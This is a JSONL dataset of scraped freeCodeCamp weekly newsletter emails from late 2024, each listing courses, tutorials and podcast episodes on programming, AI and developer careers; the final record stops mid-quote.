{"id": "gh_11da79a51137", "question": "How to: Nov 15, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a comprehensive full-stack development course that will help you learn modern JavaScript tools by building your own dating app. This course will walk you step-by-step through setting up Next.js, Prisma, and NextAuth. You'll even deploy your app to the web using Vercel. Along the way, you'll add interactive features with Pusher for real-time web socket messaging, and Cloudinary for media uploads. This is an ideal course if you want to expand and solidify your web dev skills. (7 hour YouTube course): https://www.freecodecamp.org/news/build-deploy-a-full-stack-dating-app/\n\n2. Learn how to harness the power of Large Language Models (LLMs) through this Generative AI course freeCodeCamp just published. You'll learn key concepts like data preprocessing, fine-tuning, and Retrieval Augmented Generation. You'll also learn how to use popular tools like Hugging Face and LangChain. By the end of this project-oriented course, you'll have built your own AI pipeline and vector database, and deployed your app to the cloud. (22 hour YouTube course): https://www.freecodecamp.org/news/learn-generative-ai-for-developers/\n\n3. On this week's podcast I interview Google Machine Learning Engineer turned Stanford Researcher Yifan Mai about the state of AI. He runs the open source HELM project, which benchmarks the capabilities of LLMs like GPT-4 and Llama against one another. We talk about the ragged frontier of LLM use cases, Open Weight models and how they're different from open source software, and his predictions for how AI will impact the job market. I had a blast and learned so much from this conversation. And I think you will, too. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/open-weights-vs-open-source-with-google-engineer-and-stanford-researcher-yifan-mai-podcast-149/\n\n4. Most developers I know use Git constantly. I certainly do. And one tool that helps keep me sane is Git aliases. These are custom shortcuts that dramatically reduce the amount of typing you have to do in your command line. This tutorial will teach you how to create your own custom Git aliases – with custom parameter syntax – and make them globally accessible throughout your developer environment. (15 minute read): https://www.freecodecamp.org/news/how-to-simplify-your-git-commands-with-git-aliases/\n\n5. The Go programming language is growing in popularity among devs who want to write high-performance code. If you want to get into Golang, this tutorial will teach you the foundational concepts. You'll learn about Go's data types, control structures, pointers, error handling, concurrency, standard library, and more. (20 minute read): https://www.freecodecamp.org/news/key-golang-concepts-for-beginner-go-devs/\n\nQuote of the Week: *\"Brainpower is by far our scarcest resource.\"* — Edsger Dijkstra, programmer and computer scientist", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740021"}
{"id": "gh_7abb45a584b5", "question": "How to: Nov 8, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a comprehensive course on AI fundamentals. You'll learn a ton of Machine Learning concepts like regularization, overfitting, and bias-variance trade-off. You'll also learn how to use Python to implement Linear Regression, Neural Networks, and other key algorithms. Then you'll cement your understanding through case studies on recommendation engines and predictive analytics systems. (11 hour YouTube course): https://www.freecodecamp.org/news/learn-the-foundations-of-machine-learning-and-artificial-intelligence/\n\n2. And if you want even more practice implementing AI systems, freeCodeCamp instructor Ania Kubów just published a new course on using Retrieval Augmented Generation to build a chatbot. You'll learn how to take an off-the-shelf foundation model like GPT-4, then embed your own custom datasets. Ania will even guide you through deploying your bot to the cloud, so you can show it off to your friends. (2 hour YouTube course): https://www.freecodecamp.org/news/build-your-own-rag-chatbot-with-javascript/\n\n3. On this week's podcast, I talk with Jerod and Adam – hosts of the longest-running software podcast on Earth: the Changelog. We talk about how open source is changing, and they share some pretty wild stories. We also discuss how more companies are self-hosting their own infrastructure. And we talk about Open Data and Open AI Models. I hope you enjoy these conversations and their many insights as much as I do. (90 minute watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/open-source-the-changelog-podcast-148/\n\n4. As my friends at The Changelog often say: “Software is eating the world. And open source is eating software.” This new freeCodeCamp course will show you how to navigate Open Source like a pro. You'll learn key open source concepts and terminology. Then you'll learn how to identify good projects to contribute to, and how to navigate their codebases. Finally, you'll learn how to submit good pull requests that maximize the chances of your code getting merged in. (2 hour YouTube course): https://www.freecodecamp.org/news/become-an-open-source-master/\n\n5. Learn how to write Clean Code – a widely-respected approach to building maintainable software. This tutorial will teach you the key Clean Code principles, such as the Single Responsibility Principle, Dependency Minimization, testing best practices, and more. (30 minute read): https://www.freecodecamp.org/news/how-to-write-clean-code-tips-for-developers/\n\nQuote of the Week: *\"Every aspect of learning or any other feature of intelligence can in principle be so precisely described that a machine can be made to simulate it.\"* – John McCarthy, all the way back in 1956. He was a computer scientist who created the Lisp programming language.", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740031"}
{"id": "gh_4930638e14cb", "question": "How to: Oct 25, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a new course that will teach you how to code your own Sonic the Hedgehog infinite runner game in JavaScript. You'll learn how to implement core gameplay mechanics like enemy logic, parallax scrolling, scoring systems, and more. We also include all the sprite art assets you'll need to build a working game. (2 hour YouTube course): https://www.freecodecamp.org/news/code-a-sonic-infinite-runner-game-in-javascript/\n\n2. Learn AI Engineering where you wrap a foundation model in your own custom code. In this course, we'll use the Claude LLM API to code two projects: a text summarizer app and an image describer app. You'll learn how to incorporate the API into your app, handle errors, engineer prompts, and deploy to the cloud so your friends can try it. (1 hour course): https://www.freecodecamp.org/news/learn-to-use-claude-ai/\n\n3. On this week's freeCodeCamp podcast, I interview Tadas Petra, a prolific mobile app developer and teacher. When Tadas was just a child, his family immigrated to Chicago from Lithuania. His parents did whatever work they could find while Tadas struggled to learn English in school. He eventually got into university but nearly failed his first programming class. He persisted, and eventually got an internship at a trucking company writing code to control trucks. We talk about his coding journey and his many tips for learning mobile app development. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/tadas-petra-podcast-146/\n\n4. If you want to write solid software, why not learn SOLID Principles? These are S: Single Responsibility Principle. O: Open-closed Principle. L: Liskov Substitution Principle. I: Interface Segregation Principle. And D: Dependency Inversion Principle. Don't be daunted – this tutorial will break all this down with nice code examples to help you grok this popular programming approach. (20 minute read): https://freecodecamp.org/news/what-are-the-solid-principles-in-csharp\n\n5. Up your CSS game by learning how to create elegant curved-edge shapes and rounded-edge shapes. This tutorial will teach you how to use the clip-path and mask properties to create radial gradients. You'll also see some of the cool geometry involved. (10 minute read): https://www.freecodecamp.org/news/rounded-and-curved-edge-css-shapes/\n\nQuote of the Week: *\"I really enjoyed porting games to new systems because I learned a lot that way. For a programmer, it was really challenging to port a game from a high-quality arcade machine to a lower-quality home console. The skills I developed working on ports are what enabled me to create new games.\"* — Yuji Naka, programmer and creator of Sonic the Hedgehog", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740052"}
{"id": "gh_e1a0d0a3537d", "question": "How to: Oct 18, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a comprehensive course on how to build mobile apps using React Native. In the past, if you wanted to build mobile apps, you needed to learn iOS and Android-specific tools. But over the past decade, the JavaScript tool ecosystem for building mobile apps has improved dramatically. This course will teach you how to code your own ecommerce mobile app using React Native, Expo, Supabase, and the Stripe payment API. You'll also learn how to build an admin panel using Next.js, which you can use to browse inventory, customers, and transactions. (12 hour YouTube course): https://www.freecodecamp.org/news/mobile-app-development-course-with-react-native-supabase-nextjs/\n\n2. My friend Eamonn is a coffee shop owner turned software engineer, and a prolific contributor to freeCodeCamp's open learning resources. He's written this excellent guide to Excel keyboard shortcuts. Learn how to center cell contents, hide gridlines, auto-fit column sizes and more – all with just a few keystrokes. No mouse necessary. I'm somewhat of a shortcut connoisseur myself, so I found these super useful. I think they'll save you a lot of time, too. (10 minute read): https://www.freecodecamp.org/news/microsoft-excel-keyboard-shortcuts/\n\n3. On this week's freeCodeCamp podcast, I interview Roadmap SH founder Kamran Ahmed about his journey into open source software development. We talk about his early career as a dev in Pakistan, and how he worked abroad in Berlin, Dubai, and now London. He shares his passion for open source and practical tips for how to get involved. This is a perfect conversation to listen to during Hacktoberfest – the month-long celebration of open source – where you can get involved and make your first code contributions. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/roadmapsh-founder-kamran-ahmed-podcast-145/\n\n4. Learn how to build a full-stack MERN stack app. MERN stands for MongoDB, Express, React, and Node. Developers have used this time-tested stack for over a decade now. And now you can, too. This beginner's course will walk you through building a bookstore app. You'll start by coding a Dynamic, Responsive front end using React. You'll learn how to create Reusable Components for your navigation bar and shopping cart system. Then you'll dive into back end development. You'll build an API that can process book orders and store them in your database. You'll also learn about Authentication, State Management, and Deployment. (9 hour YouTube course): https://www.freecodecamp.org/news/build-a-full-stack-book-store-app-using-react-node-mongodb/\n\n5. Learn how to leverage the powerful Binary Exponentiation Algorithm to calculate large powers of numbers. Developers use this all the time when working on cryptography and computer graphics. The reason Binary Exponentiation is so powerful is that it reduces the amount of multiplications you need to do, and each iteration through the loop re-uses previous calculations. This tutorial will show you how to implement this algorithm step-by-step with a simple Python script, and understand what's happening under the hood. (10 minute read): https://www.freecodecamp.org/news/binary-exponentiation-algorithm-explained-with-examples/\n\nQuote of the Week: *\"The power of Open Source is the power of the people. The people rule.\"* — Philippe Kahn, software engineer and founder of 4 tech companies", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740063"}
{"id": "gh_8303e6b5f8ea", "question": "How to: Oct 11, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published this course that will teach you how databases work from the ground up. You'll learn about Schemas and Indexing. You'll also learn how databases leverage both RAM and disk storage, how they interact with networks, and how they distribute data. Then you'll explore SQLite's architecture and contrast it with MySQL and PostgreSQL. (4 hour YouTube course): https://www.freecodecamp.org/news/learn-databases-in-depth/\n\n2. Learn how to pass AWS's new Certified AI Practitioner certification. Andrew Brown is a CTO who has passed dozens of similar cloud cert exams. He'll teach you all about the cert and the many cloud services it covers: Bedrock, PartyRock, SageMaker, Athena, and more. (15 hour YouTube course): https://www.freecodecamp.org/news/prepare-to-pass-the-aws-certified-ai-practitioner-certification/\n\n3. On this week's freeCodeCamp podcast, I talk with Dennis Ivy about how to become a street-smart developer. Dennis grew up in an immigrant family with 13 kids, and dropped out of school to work in construction. He taught himself to code while working as a janitor at a church. Then he started building websites for local plumbers. He eventually built a software system that he was able to sell to his employer, kicking off a career of entrepreneurship and freelance development. Dennis has tons of practical tips for building your network and finding clients. I had a blast hearing what he had to say. And I think you will, too. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/how-to-become-a-street-smart-developer-dennis-ivy-interview-144/\n\n4. Learn how to build your own cross-platform desktop apps for Windows, Mac, and Linux – all using JavaScript. That's right. You can use JS – the native language of the web – to build apps that can leverage that sweet desktop hardware. Imagine people alt-tabbing straight to your app instead of having to navigate to it through a browser. This course will teach you how to use Electron with React and TypeScript. And if you want to learn even more about Electron, I recently did a podcast interview with Jessica Lord, the creator of GitHub's Electron team. Tons of apps now use Electron, including Slack, Figma, and VS Code. (4 hour YouTube course): https://www.freecodecamp.org/news/create-desktop-apps-with-electron-react-and-typescript/\n\n5. What is Hydration? What is Pre-rendering? This tutorial will walk you through these key web development concepts and teach you how Client-side Rendering works. You'll also learn how traditional Server-side Rendering works, and the trade-offs involved. By the end of this tutorial, you'll have a much better understanding of how developers build modern Single Page Applications and serve them at scale. (40 minute read): https://www.freecodecamp.org/news/what-are-pre-rendering-and-hydration-in-web-dev/\n\nJoke of the Week: *\"A couple of relational databases walked into a NoSQL bar. They left because they couldn’t find a table.\"* — Kenneth Fisher, Database Administrator", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740073"}
{"id": "gh_660a434c5908", "question": "How to: Sep 27, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a comprehensive course on CUDA, NVIDIA's GPU programming language. You'll learn how to leverage Graphical Processing Units – chips with thousands of core processors – to do high-performance computing. You'll also get exposure to GPU architecture, writing kernels, matrix multiplication optimization, multi-layer perceptrons, and more. If you want to dive into serious machine learning, this is a great place to start. (12 hour YouTube course): https://www.freecodecamp.org/news/learn-cuda-programming/\n\n2. freeCodeCamp also published a comprehensive study guide for the Microsoft 365 Certified Fundamentals (MS-900) certification. Andrew Brown is a CTO who has passed dozens of similar cloud cert exams. He'll teach you all about Cloud Architecture terminology. Then he'll cover concepts like Scalability and Fault Tolerance. Finally, he'll walk you through the many Microsoft tools covered in the certification exam. (4 hour YouTube course): https://www.freecodecamp.org/news/pass-the-microsoft-365-certified-fundamentals-ms-900-exam/\n\n3. This week on the freeCodeCamp Podcast, I interview PhD drop-out turned Google Data Scientist Megan Risdal. We talk about how she helps oversee the Kaggle community, which hosts 300,000 open datasets. They also run data science competitions each week that anyone can participate in. We also talk about her time at Stack Overflow, and she compares the two developer communities. Megan studied Applied Linguistics in school, so she has a nuanced perspective on Large Language Models and AI research. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/from-phd-drop-out-to-google-data-scientist-with-megan-risdal-podcast-142/\n\n4. Progressive Web Apps (PWAs) are essentially websites that feel snappy – even when you're on a slow internet connection. You can build PWAs that remain functional even when your users are completely offline. This in-depth tutorial will walk you through coding your own PWA using the popular Next.js framework. You'll learn all about Dynamic Caching, Service Workers, Fallback Pages, and more. (40 minute read): https://www.freecodecamp.org/news/how-to-create-a-nextjs-pwa/\n\n5. And if you want to boost your web app's performance even further, you can use an approach called Prefetching. This tutorial will teach you key Prefetching concepts, then show you how to leverage its power through code examples. But – as with all good things – it's possible to go overboard with this and actually degrade your app's user experience. This tutorial will help you strike the right balance. (20 minute read): https://www.freecodecamp.org/news/boost-web-performance-with-prefetching/\n\nFact of the Week: Even though NVIDIA created the first modern GPU, the term “GPU” has been associated with stand-alone graphics chips since the 1970s, when it stood for “Graphics Processor Unit”. Sony then popularized the term in 1994 when they marketed the Playstation's “Geometry Processing Unit”, a Geometry Transformation Engine paired with a 2D co-processor. Finally in 1999, NVIDIA introduced the GeForce 256 “Graphics Processing Unit”, leading to modern GPUs like the one that's in the device that you're reading this Fact of the Week on right now.", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740095"}
{"id": "gh_c6157118c7e8", "question": "How to: Sep 20, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a comprehensive course on Design Patterns – a key programming concept. You'll learn fundamental Object-Oriented Programming concepts like inheritance, composition, encapsulation, and abstraction. You'll also learn Unified Modeling Language (UML), a powerful tool for diagramming your codebases. And you'll learn all 5 SOLID Principles and all 23 design patterns from the classic “Gang of Four” book. This course uses C#, but it's widely applicable regardless of which programming language you're focused on these days. (12 hour YouTube course): https://www.freecodecamp.org/news/master-object-oriented-programming-and-design-patterns-in-c\n\n2. Learn the FARM stack. EE-EYE-EE-EYE-OH. This is a new JavaScript stack that incorporates FastAPI, React, and MongoDB. This project-oriented course is taught by freeCodeCamp instructor Beau Carnes. He'll teach you about the stack and how to deploy your apps with NGINX and Docker – all within the context of coding your own to-do app. (1 hour YouTube course): https://www.freecodecamp.org/news/use-the-farm-stack-to-develop-full-stack-apps/\n\n3. On this week's podcast I interview prolific open source contributor and tutorial creator Eddie Jaoude. We talk about his journey into open source and tips for building your reputation through hackathons. He also shares his audio-video setup tips in case you want to create some tutorials of your own. He's a super chill dude whom I've followed for years, and it was a blast finally learning more about him. I hope you enjoy this as well. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/lessons-from-freelancing-for-dozens-of-startups-eddie-jaoude/\n\n4. Learn API security so you can harden your APIs against the most common types of attacks. This course will teach you about Cross Origin Resource Sharing, Error Disclosure, Information Leakage, Insecure Cookies, Path Traversal, Rate Limits, and more. (1 hour YouTube course): https://www.freecodecamp.org/news/learn-how-to-secure-api-servers\n\n5. If you want to make your websites accessible to as many people as possible – regardless of disabilities they may have – then you should learn about HTML Attributes. This tutorial will show you how to use these in your designs. You'll learn about ARIA Attributes, Role Values, Scope, Inert, Tabindex, and more. Super useful stuff for ensuring that your website is usable by everyone. (1 hour read): https://www.freecodecamp.org/news/how-to-use-html-attributes-to-make-your-websites-and-apps-more-accessible/\n\nQuote of the Week: *\"If you aren't sure which way to do something, do it both ways and see which works better.\"* — John Carmack, programmer and co-creator of DOOM", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740105"}
{"id": "gh_eacb3d75259b", "question": "How to: Sep 13, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. AI Engineering is an emerging software development field where you build apps on top of existing AI models. Microsoft recently unveiled a new certification in AI Engineering that you can earn by passing their exam. And already, freeCodeCamp is coming in clutch with a comprehensive course on it. Andrew Brown is a CTO who has passed dozens of similar cloud cert exams over the years. He'll teach you all about Azure's AI Search, Computer Vision API, Speech API, Video Indexer, and more. (14 hour YouTube course): https://www.freecodecamp.org/news/pass-the-azure-ai-engineer-associate-certification-ai-102/\n\n2. And if you want to go even deeper into AI engineering, this handbook will teach you how AI Agents can help you supercharge your Language Models. You'll learn some of the history and philosophy behind AI agents, and how developers progressed from Rule-Based Systems to Machine Learning over the decades. You'll also learn what kinds of problems current generation AI Agents are best applied to, such as debugging a script or maximizing the amount of natural light in an architectural design. (full-length handbook): https://www.freecodecamp.org/news/how-ai-agents-can-supercharge-language-models-handbook/\n\n3. On this week's podcast I interview Jack Herrington, the Blue Collar Coder. As a kid, Jack had to work to overcome Dyslexia, and didn't have good enough grades to get into college. Despite this, he taught himself to code while working blue collar jobs. He has now worked as a software engineer for more than 40 years at companies like Nike, Adobe, and Walmart. We talk about his war stories from the field, and the 6 programming books he's published along the way. We also talk about his love of bad movies. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/surviving-40-years-in-tech-jack-herrington-podcast-140/\n\n4. Chart.js is an open source Data Visualization library. This tutorial will walk you through building your own charts that look great in a browser. You'll see real code examples of popular chart types like Scatterplots, Radar Charts, and Polar Area charts. You'll also learn how to load in your own JSON data, and how to add ARIA labels to make your charts accessible to people with disabilities. (40 minute read): https://www.freecodecamp.org/news/how-to-use-chart-js-for-interactive-data-visualization/\n\n5. freeCodeCamp doesn't just teach programming. We also published a course on music production this week. You'll learn how to use the popular Digital Audio Workstation tool FL Studio. This course by music educator Tristan Wilcox will teach you key concepts like song structure, mixing, mastering, and automation. He also teaches music theory fundamentals like chords, melody, rhythm, and bass. (3 hour YouTube course): https://www.freecodecamp.org/news/learn-music-production-for-beginners/\n\nQuote of the Week: *\"A good programmer is someone who always looks both ways before crossing a one-way street.\"* — Doug Linder, Programmer", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740116"}
{"id": "gh_aa0303b0931c", "question": "How to: Aug 30, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published an in-depth beginner's course that will teach you how to code in the Java programming language. You'll also learn how to use Spring Boot, an industry-standard Java web development framework. This backend-focused course will walk you through coding your own ecommerce shopping cart. You'll start from scratch and generate a new project, implement the web server, code your API endpoints, and even add Spring Security to harden your system. (10 hour YouTube course): https://www.freecodecamp.org/news/build-a-shopping-cart-backend-with-spring-boot-and-spring-security/\n\n2. And if you want to learn even more Java, freeCodeCamp also published a comprehensive Selenium course this week. You'll learn Automated Web Testing so you can ensure your apps do what you want them to do. This way you can catch potential bugs and vulnerabilities before you deploy your code. This course will teach you about the Page Object Model, WebElements, Selenium Interfaces, and how to simulate user interactions like mouse movement and keyboard events. Enjoy. (8 hour YouTube course): https://www.freecodecamp.org/news/learn-java-testing-with-selenium/\n\n3. This week on the freeCodeCamp Podcast, I interview Hiroko Nishimura, who had a brain tumor removed when she was just 22 years old. At the time, the doctors told her she'd never be able to live independently again. But she learned how to walk again and talk again. And eventually she learned a ton about Systems Administration and Cloud Engineering. Today, more than 500,000 students have learned these developer concepts from her. We talk about Hiroko's entire life – from learning English as an immigrant from Japan, to getting her first job in tech, to becoming a prolific teacher. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/from-brain-tumor-to-teaching-500000-sysadmin-students-with-hiroko-nishimura-podcast-138/\n\n4. React Compiler is a new feature in Version 19 of the popular React JavaScript library. The compiler can now handle optimization for you, saving you a ton of development time and sparing you many headaches. This in-depth tutorial will show you how React Compiler works, and give you practical tips for harnessing its full power in your JavaScript apps. (20 minute read): https://www.freecodecamp.org/news/react-compiler-complete-guide-react-19/\n\n5. Microsoft Excel continues to be one of the most widely-used productivity tools – even among developers. This tutorial will teach you how to use Excel for Data Visualization. You'll learn about Excel's many chart types and how you can customize them. You'll even learn how to build your own interactive dashboards. (1 hour YouTube course): https://www.freecodecamp.org/news/excel-for-data-visualization/\n\nQuote of the Week: *\"When you have very large pieces of software, most of the tools look at the individual lines of code as text. It is often extremely powerful to look not at individual pieces of code but at a system as a whole.\"* — James Gosling, Software Engineer and the Father of Java", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740136"}
{"id": "gh_cda154caf517", "question": "How to: Aug 16, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a comprehensive guide to the Amazon Web Services Developer Associate certification exam. If you're interested in learning some DevOps and cloud computing, this course will prepare you to earn this popular cert. Andrew Brown is a CTO who has passed dozens of similar cloud cert exams. He'll teach you all about AWS EC2, S3, Lambda, DynamoDB, and other key cloud computing tools. (81 hour YouTube course): https://www.freecodecamp.org/news/ultimate-aws-certified-developer-associate-dva-c02-course-from-andrew-brown/\n\n2. Most machine learning these days is done with Python, but there are some JavaScript libraries for building AI systems as well. ml5.js is a developer-friendly open source library that's built on top of Google's TensorFlow. This crash course will teach you key concepts, and how to use an open dataset from Kaggle to code your first model. (1 hour YouTube course): https://www.freecodecamp.org/news/learn-ml5js-for-machine-learning-in-javascript/\n\n3. This week on the freeCodeCamp Podcast, I interview Angie Jones, a test engineer and inventor who holds 27 software patents. She's worked at companies like IBM and Twitter, doing both test engineering and developer advocacy. We talk about how a bad performance review from a boss early in her career taught her to be less timid and more vocal about her ideas. We also talk about her love of virtual worlds like Second Life, and how she uses AI to debug code. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/developer-and-inventor-with-27-software-patents-angie-jones-interview-134/\n\n4. Developers often build small chunks of reusable code called Components. And at some point it makes sense to pull these together into a full-blown Component Library. This tutorial will give you a solid understanding of what Component Libraries are, their history, and how they differ from Design Systems. You'll learn how to wield the power of Component Libraries for yourself, so you can avoid rewriting code that other devs have written so many times before, and instead focus on the novel work to be done. (40 minute read): https://www.freecodecamp.org/news/what-is-a-component-library-when-to-build-your-own/\n\n5. Learn Control Theory by building a rocket control system. You're going to be sending real rockets up into space and making sure they don't explode. Just kidding – freeCodeCamp doesn't have the budget for that. So you'll have to use a bit of imagination here. This tutorial will teach you Control Theory concepts like Signal Input, Signal Processing, and Feedback. You'll learn about PID controllers, Transfer Functions, Nyquist Plots, and more. Have fun and don't blow up any expensive satellites in the process. (20 minute read): https://www.freecodecamp.org/news/basic-control-theory-with-python/\n\nQuote of the Week: *\"The first step of any project is to grossly underestimate its complexity and difficulty.\"* — Nicoll Hunt, programmer and game developer", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740146"}
{"id": "gh_05536ad8b6dd", "question": "How to: Aug 9, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. A vast majority of servers these days run Linux as their operating system. And a lot of developers run Linux on their laptops as well. It's safe to say that Linux is one of the most useful skills you can learn working in tech. freeCodeCamp just published this comprehensive book that will teach you how to install Linux and work with its file system and many packages. You'll learn about shell scripting, networking, command line automation, security, and more. You can read this right in your browser and bookmark it for future reference. (full-length book): https://www.freecodecamp.org/news/learn-linux-for-beginners-book-basic-to-advanced/\n\n2. And while you're learning Linux, why not learn how operating systems work in more detail? This massive course will teach you about Kernels, von Neumann Architecture, Multitasking, API Calls, Interrupts, CPU Scheduling, Disk Structure, and more. (25 hour YouTube course): https://www.freecodecamp.org/news/learn-about-operating-systems-in-depth/\n\n3. Did you know that Babe Ruth – the most famous home-run-hitting baseball player of all time – was blind in one eye? He made up for this by being extremely good at predictive analytics – honing his instincts for what type of pitch is coming across home plate. I learned this during my insight-filled conversation with Ken Jee. He's a golfer turned data scientist who works closely with professional athletes. During my podcast interview, Ken shares a ton of tips for folks interested in getting into data science and machine learning, and for athletes who want to gain a quantitative edge on their competitors. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/where-data-science-meets-sports-analytics-with-ken-jee-podcast-interview-135/\n\n4. One of the most exciting areas of AI at the moment is Retrieval Augmented Generation (RAG). This freeCodeCamp Python course will teach you how to combine your own custom data with the power of Large Language Models (LLMs). You'll code your own AI system that can summarize documents for you and even have conversations with you to answer your questions about those documents. (2 hour YouTube course): https://www.freecodecamp.org/news/learn-rag-fundamentals-and-advanced-techniques/\n\n5. Learn how to use JavaScript to code a desktop PC game. That's right – you don't necessarily need a full-blown GameDev framework like Unity or Unreal to build games. You can code along at home and build your own Flappy Bird-like game, step-by-step. You'll load sprite assets, implement collision detection, and code the menu and score-keeping logic. Enjoy. (2 hour YouTube course): https://www.freecodecamp.org/news/create-a-pc-game-using-javascript/\n\nQuote of the Week: *\"I often compare open source to science. Science took this whole notion of developing ideas in the open and improving on other peoples' ideas – making it into what science is today and the incredible advances that we have had. And I compare that to witchcraft and alchemy, where openness was something you didn't do.\"* — Linus Torvalds, programmer, creator of Linux, and open source advocate", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740157"}
{"id": "gh_4c2f9709a014", "question": "How to: Aug 2, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. I learned to code in my 30s. I read a bunch of computer science books, built some apps, and won a few hackathons. Then I landed my first software engineering role at a small tech company. I wrote this book to summarize the insights I've heard from CTOs, professors, and fellow self-taught developers. Transitioning into tech is not easy, and it may take you several years of preparation. This book will give you practical, no-nonsense pointers so you can map out your road ahead. (full-length book and 4-hour audiobook): https://www.freecodecamp.org/news/learn-to-code-book/\n\n2. This new freeCodeCamp course will teach you .NET and MongoDB by coding your own restaurant reservation system. You'll learn how to use Entity Framework Core, a popular Object-Relational Mapper (ORM). ORM tools help your app talk to a wide variety of databases without you needing to learn all the database-specific implementation details. Beau Carnes teaches this course. He's an experienced developer and classroom teacher, and I think you'll dig his down-to-earth teaching style. (1 hour YouTube course): https://www.freecodecamp.org/news/using-entity-framework-core-with-mongodb/\n\n3. On this week's episode of the freeCodeCamp podcast, I interview John Washam, a software engineer at Amazon. John's also the creator of one of the most popular open source projects of all time: Coding Interview University. This is John's first-ever appearance on a podcast, so we go really in-depth. We talk about his years working as an interpreter in the US military. Then we dive into how he taught himself software engineering, and what he's learned from climbing the ranks at a big tech company. (3 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/how-john-washam-crammed-for-8-months-got-a-job-at-amazon-then-taught-1000s-of-other-devs-134/\n\n4. AI models are more powerful than ever. But most of them are a black box. We don't know why they create the output that they do. And this can be dangerous. Machine Learning researchers call this the problem of Interpretability. Thankfully, a lot of very smart people are hard at work on what's called Explainable AI. This primer by Tiago Monteiro will teach you about Glass Box Models, Kolmogorov–Arnold Networks, and other important concepts in the emerging field of Explainable AI. (20 minute read): https://www.freecodecamp.org/news/how-to-build-an-interpretable-ai-deep-learning-model/\n\n5. Tell your Spanish-speaking friends: freeCodeCamp just published an HTML, CSS, and JavaScript course for beginners. You'll practice your skills by building a responsive navigation bar with dropdown menus, and a landing page with a custom modal. (2 hour YouTube course): https://www.freecodecamp.org/news/practice-your-html-css-and-javascript-skills-in-spanish-by-building-3-projects/\n\nQuote of the Week: *\"The amateur software engineer is always in search of magic – some sensational method or tool whose 